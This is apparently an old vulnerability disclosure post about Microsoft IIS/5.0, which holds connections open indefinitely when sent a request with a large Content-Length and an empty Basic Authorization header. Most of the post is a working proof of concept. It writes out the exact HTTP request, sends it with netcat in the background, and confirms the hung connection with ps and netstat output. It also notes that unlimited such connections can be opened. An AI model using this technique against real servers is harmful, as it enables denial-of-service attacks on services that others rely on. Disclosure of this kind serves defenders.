Let's say that it's a bug, not a security flaw, but probably can lead into denial of service with some tweaking. When you send a bad request to Microsoft IIS/5.0 server it gives you the error and closes the connection, like when you fail to authenticate. Well... let's take a look to a normal request: GET /testfile HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: 192.168.0.10 Connection: Keep-Alive Authorization: Basic And then let's add a "Content-Length: 5300643" field. When you send the new request to the server ir hangs there waiting something to happen and never closes the connection. Let's try this: $ cat " GET /testfile HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: 192.168.0.10 Connection: Keep-Alive Content-Length: 5300643 Authorization: Basic" >bogus.txt $ nc 192.168.0.10 80 <bogus.txt & $ ps x PID PPID PGID WINPID TTY UID STIME COMMAND 696 1 696 696 con 500 12:22:37 /usr/bin/bash 2464 696 2464 2464 con 500 12:23:56 /usr/bin/nc 2532 696 2532 1552 con 500 12:29:16 /usr/bin/ps $ netstat -an |grep 192.168.0.10 TCP 192.168.0.4:2479 192.168.0.10:80 ESTABLISHED Now you have a waiting open connection. You can open as much as you want. The server never stops the connections and I have seen no timeout. Well, I left this here. Thanks for the time of reading Ivan Hernandez